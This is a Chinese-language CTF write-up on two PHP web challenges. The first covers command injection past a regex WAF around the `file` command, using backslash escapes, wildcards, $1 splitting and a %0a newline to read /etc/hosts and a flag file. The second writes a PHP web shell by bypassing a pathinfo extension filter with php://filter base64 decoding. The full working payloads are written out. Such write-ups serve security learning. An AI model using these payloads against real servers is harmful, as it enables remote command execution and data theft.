当时比赛的时候正在复习期末,根本没空玩。昨天忙完,终于有时间仔细看看了。
直接给出源码,要命令执行
<?php
highlight_file(__FILE__);
$file1 = $_GET['f1'];
$file2 = $_GET['f2'];
// WAF
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file1))
$file1 = "";
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file2))
$file2 = "";
// Prevent injection
$file1 = '"' . $file1 . '"';
$file2 = '"' . $file2 . '"';
$cmd = "file $file1 $file2";
system($cmd);
首先来看看最后的执行
$cmd = "file $file1 $file2";
system($cmd);
system
函数执行file命令,而后面有两段是可控的。
来看看file命令的使用:http://man.linuxde.net/file
语法:file(选项)(参数)
选项:
-b:列出辨识结果时,不显示文件名称;
-c:详细显示指令执行过程,便于排错或分析程序执行的情形;
-f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
-L:直接显示符号连接所指向的文件类别;
-m<魔法数字文件>:指定魔法数字文件;
-v:显示版本信息;
-z:尝试去解读压缩文件的内容。-z:尝试去解读压缩文件的内容。
首先不考虑任意命令执行的可能,只用file命令去读文件。那么如何去绕过WAF和Prevent injection呢。观察WAF之后发现了一个漏洞点:waf是用\
来过滤反斜线的。而查资料之后可以发现
正确的正则匹配反斜线应该是\\
,而就可以在最后执行的语句中出现了,而反斜杠的使用就可以轻松绕过Prevent injection。就能结合file命令的选项去读文件了。
下面给出几个payload:
其实file命令本身的-f
参数就能直接读文件了$file1
:-f
$file2
:/etc/hosts
最后传进去的命令file "-f" "/etc/hosts"
-f
参数将文件的内容当作文件名去读取,若文件不存在的话就可以在报错中看到内容。因为waf了w
所以读取/etc/hosts
,这里并没有使用到通配符绕过,因为file1处并没有使用反斜杠,所以后面的内容是被双引号括起来的,通配符不被识别。
或是-m
参数
$file1
:-m
$file2
:/etc/hosts
最后传入file "-m" " /etc/hosts"
,然而不知道为什么我在终端跑可以,在php这里执行就没回显,如果有师傅知道请指点一波。我感觉是双引号的锅,$cmd是被双引号括起来的,应该发生了一些东西。
然后是通过f1
传入反斜杠来读取文件。
在转义掉双引号之后,可以使用通配符来绕过关键词。比如我在根目录创建了flag文件。
$file1
: $file2
: -m /fl?g 2>&1 #
(注意空格和url编码之后传参)
2>&1 :接着,标准错误输出重定向(等同于)标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
这里如果不加2>&1的话是执行不了的。原因应该和上面那个一样
-f的话就不需要了$file1
: $file2
: -f /f?ag #
或者
使用$1来绕过。$file1
: $file2
: -f /fl$1ag #
在linux中,$1作为一个变量,默认为空,同样达到了bypass关键词的效果。
或是考虑执行其他命令的情况,这个我在比赛的时候就想到了,读文件有好多别的方法:https://blog.csdn.net/yuyongpeng/article/details/1818713
我这里用tac。那么要怎么分隔两个命令呢?我这里用的是%0a,可以轻松绕过正则中的n
,相信这一点大家在sql注入中遇到的太多了。
/?f1=&f2=%20%0atac /f?ag%0a
由于环境没有了,所以我这里把关键代码拿出来看的。
<?php
$sandbox = "/var/www/html/sandbox/" . md5($_SERVER['REMOTE_ADDR'] . "QQ");
@mkdir($sandbox);
@chdir($sandbox);
$path = 'code.txt';
if ( isset($_GET['_']) && isset($_GET['f']) ) {
$_ = $_GET['_'];
$f = $_GET['f'];
if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
die("No h4cker will use h :p");
$c = "Q____Q" . base64_encode($_);
$path = 'sandbox/' . md5($_SERVER['REMOTE_ADDR'] . "QQ") . '/' . $f;
echo $path;
@file_put_contents($f, $c);
}
?>
题目思路很清晰,绕过waf写shell。
waf是文件后缀不能带有h
,而且shell的内容会被base64_encode
然后最前面拼接上Q____Q
一步一步来分析。首先是后缀的bypass
关键代码:
if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
die("No h4cker will use h :p");
可以利用pathinfo($f, PATHINFO_EXTENSION)
的漏洞来绕过waf。首先来做个实验。
pathinfo($f, PATHINFO_EXTENSION)获取的是.
后面的内容,绕过出现两个.
,最后结果是后面一个.
后面的内容
所以只要使用ylg.php/.
就能简单绕过。
因为会给内容自动base64_encode
,所以只要输入来做base64 decode
就可以将shell写入了。
这里可以使用php://filter
来控制base64_decode
的输入。可以参考p牛的文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html 很经典的绕过姿势。想起来去年NCTF2017的时候还见过。
base64_encode('<?php system($_GET[1])?>aa')
的结果PD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE=
echo urlencode(base64_decode("aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE="));
a
,和前面的Q_____Q
一共8个字符。最后Payload:
/?f=php://filter/convert.base64-decode/resource=ylg.php/.&_=i%A3%C3%F7%06%87%02%077%977FV%D2%82E%F4tUE%B3%15%D2%93%F3%E6%16
成功写shell~
这次比赛确实挺有意思的,可惜了当时在期末考试没时间做。